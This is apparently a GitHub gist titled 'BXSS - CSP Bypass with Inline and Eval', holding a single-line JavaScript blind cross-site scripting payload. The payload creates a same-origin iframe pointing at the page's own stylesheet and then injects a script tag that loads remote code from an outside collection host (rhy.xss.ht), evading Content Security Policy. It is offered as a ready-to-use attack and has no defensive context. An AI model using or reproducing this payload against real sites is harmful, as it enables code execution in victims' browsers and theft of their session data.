Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save gujjuboy10x00/bb80ca47943d53cc9462716283212181 to your computer and use it in GitHub Desktop.
Save gujjuboy10x00/bb80ca47943d53cc9462716283212181 to your computer and use it in GitHub Desktop.
BXSS - CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment